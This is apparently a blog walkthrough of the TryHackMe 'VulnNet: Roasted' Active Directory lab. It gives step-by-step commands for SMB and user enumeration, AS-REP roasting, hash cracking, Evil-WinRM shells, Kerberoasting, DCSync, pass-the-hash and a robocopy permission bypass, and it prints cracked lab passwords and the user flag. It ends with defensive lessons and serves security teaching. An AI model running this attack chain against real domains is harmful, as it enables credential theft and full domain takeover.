VulnNet: Roasted — TryHackMe Walkthrough

AS-REP Roasting + Kerberoasting + DCSync + Pass-the-Hash

⚠️ Disclaimer: This walkthrough is for educational purposes only. All techniques were performed on a dedicated TryHackMe lab machine with explicit permission. Never use these techniques on systems you do not own or have written authorization to test.

Platform: TryHackMe OS: Windows (Active Directory) Domain: vulnnet-rst.local Difficulty: Easy — Medium Techniques: AS-REP Roasting, Kerberoasting, DCSync, Pass-the-Hash

Introduction

VulnNet: Roasted is a Windows Active Directory machine on TryHackMe that covers some of the most common real-world AD attack techniques. This walkthrough demonstrates a complete attack path from initial reconnaissance to full domain administrator access — showing exactly how a chain of small misconfigurations can lead to complete domain compromise.

Attack Path Overview:

1. SMB enumeration → anonymous shares
2. SID brute-forcing → domain user enumeration
3. AS-REP Roasting → Kerberos hash
4. Hash cracking → valid credentials
5. SMB access → hardcoded credentials in script
6. Evil-WinRM → authenticated shell
7. Kerberoasting → service account hash
8. DCSync → Administrator hash
9. Pass-the-Hash → full domain admin

Step 1 — Nmap Reconnaissance

Starting with a full service version scan to identify open ports and confirm the target is an Active Directory Domain Controller.

nmap -sSCV 10.49.169.87 -Pn

Key findings:

• Port 88 → Kerberos (AS-REP Roasting possible)
• Port 389/3268 → LDAP (Active Directory)
• Port 445 → SMB (anonymous access?)
• Domain: vulnnet-rst.local
• Hostname: WIN-2BO8M1OE1M1
• SMB signing enabled and required

Step 2 — SMB Enumeration + User Discovery

Listing SMB shares anonymously and brute-forcing domain SIDs to enumerate all user accounts without credentials.

smbclient -L //10.49.169.87

/opt/impacket/examples/lookupsid.py anonymous@10.49.169.87 -no-pass

Domain users discovered:

• enterprise-core-vn
• a-whitehat
• t-skid
• j-goldenhand
• j-leet

Save all users to a file:

cat > users.txt << EOF
enterprise-core-vn
a-whitehat
t-skid
j-goldenhand
j-leet
EOF

Step 3 — AS-REP Roasting

Testing all discovered users for disabled Kerberos pre-authentication. Accounts with this misconfiguration return an encrypted hash that can be cracked offline — without needing a password.

impacket-GetNPUsers vulnnet-rst.local/ -usersfile users.txt -no-pass -dc-ip 10.49.169.87 -format hashcat

Result: User t-skid has pre-authentication disabled. A $krb5asrep$23$ hash was returned and saved for offline cracking.

💡 Why it works: When pre-authentication is disabled, the KDC returns an encrypted TGT without verifying the requester’s identity. This encrypted response can be captured and cracked offline.

Step 4 — Hash Cracking + SMB Access

Cracking the AS-REP hash offline using John the Ripper with the rockyou wordlist, then using the recovered password to access SMB.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

john hash.txt --show

smbclient //10.49.169.87/NETLOGON -U 't-skid%tj072889*'

Credentials recovered: t-skid : tj072889*

Inside the NETLOGON share:

smb: \> ls
smb: \> get ResetPassword.vbs
smb: \> exit

Step 5 — Hardcoded Credentials in VBScript

Reading the downloaded ResetPassword.vbs file reveals plaintext credentials. Password reset scripts commonly store admin credentials hardcoded — one of the most common misconfigurations in real-world AD environments.

cat ResetPassword.vbs

🔴 Critical Finding: Plaintext credentials found for a-whitehat inside the script. This account is a member of the Remote Management Users group — meaning we can use Evil-WinRM for remote access.

Step 6 — Evil-WinRM Shell

Using credentials from ResetPassword.vbs to gain a remote PowerShell shell via Windows Remote Management.

evil-winrm -i 10.49.169.87 -u a-whitehat -p bNdKVkjv3RR9ht

We now have an authenticated shell on the domain as a-whitehat. Basic enumeration:

whoami
whoami /priv
whoami /all
dir C:\Users

Step 7 — Kerberoasting + User Flag

Now authenticated, we can perform Kerberoasting — requesting TGS tickets for all service accounts with SPNs registered. These tickets are encrypted with the service account’s password hash and can be cracked offline.

impacket-GetUserSPNs vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht -dc-ip 10.49.169.87 -request

Getting the user flag:

dir C:\Users
type C:\Users\enterprise-core-vn\Desktop\user.txt

🚩 User Flag: THM{726b7c0baaac1455d05c827b5561f4ed}

Cracking the TGS hash:

john hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt
john hash2.txt --show

Credentials recovered: enterprise-core-vn : ry=ibfkfv,s6h,

Step 8 — DCSync Attack → Root Flag

The enterprise-core-vn service account has DS-Replication rights — a critical misconfiguration that allows us to perform a DCSync attack and dump all domain password hashes.

Login as service account:

evil-winrm -i 10.49.169.87 -u enterprise-core-vn -p 'ry=ibfkfv,s6h,'

Perform DCSync to dump Administrator hash:

impacket-secretsdump vulnnet-rst.local/enterprise-core-vn:'ry=ibfkfv,s6h,' -dc-ip 10.49.169.87 -just-dc

Pass-the-Hash to login as Administrator:

evil-winrm -i 10.49.169.87 -u Administrator -H <NTLM_HASH>

Get root flag:

type C:\Users\Administrator\Desktop\root.txt

OR

Step 8 — Privilege Escalation via Robocopy → Root Flag

If enterprise-core-vn did not have direct admin shell access, an alternative method was used. As a-whitehat (who has SeBackupPrivilege or file copy rights), robocopy was used to copy the Administrator’s Desktop files into an accessible location.

robocopy /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30 C:\Users\Administrator\Desktop\ C:\Users\a-whitehat\Desktop\

What each flag means:

• /B — Backup mode (bypasses file permission restrictions)
• /DCOPY:DA — Copy directory data and attributes
• /COPY:DAT — Copy data, attributes, timestamps
• /R:1000000 — Retry count
• /W:30 — Wait time between retries

Then read the copied root flag:

type C:\Users\a-whitehat\Desktop\system.txt

🚩 Root Flag: Captured via robocopy backup mode privilege abuse!

💡 Why it works: Backup mode (/B) allows copying files regardless of NTFS permissions — bypassing ACLs entirely. This is a well-known privilege escalation technique when an account has SeBackupPrivilege.

💡 Why DCSync works: The enterprise-core-vn account was misconfigured with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions. These are normally only held by Domain Controllers, allowing it to request a full sync of all password hashes.

Full Attack Chain Summary

Technique Tool Result 1 Port Scanning nmap AD DC identified 2 SMB Enumeration smbclient Anonymous shares found 3 SID Brute Force lookupsid.py 5 domain users enumerated 4 AS-REP Roasting GetNPUsers.py Hash for t-skid 5 Hash Cracking John the Ripper t-skid : tj072889* 6 SMB Access smbclient ResetPassword.vbs found 7 Credential Extraction cat a-whitehat credentials 8 Remote Shell Evil-WinRM Shell as a-whitehat 9 Kerberoasting GetUserSPNs.py TGS hash for service account 10 Hash Cracking John the Ripper enterprise-core-vn cracked 11 DCSync secretsdump.py Administrator NTLM hash 12 Pass-the-Hash Evil-WinRM Full Domain Admin access

Key Security Lessons

🔴 Anonymous SMB Access Shares should always require authentication. Anonymous access exposed employee data and ultimately led to full domain compromise.

🔴 Kerberos Pre-Authentication Disabled Always enforce pre-authentication on all accounts. Disabling it allows anyone to request and crack password hashes offline.

🔴 Hardcoded Credentials in Scripts Never store plaintext passwords in scripts. Use Group Managed Service Accounts (gMSA) or a secrets vault instead.

🔴 Weak Service Account Passwords Service accounts need long, randomly generated passwords that are rotated regularly.

🔴 Excessive DCSync Permissions DS-Replication rights should only be granted to actual Domain Controllers — never to regular service accounts.

If you found this helpful, follow me for more TryHackMe walkthroughs and cybersecurity content!

#TryHackMe #CyberSecurity #EthicalHacking #ActiveDirectory #Kerberos #PenTesting #CTF #OSCP #infosec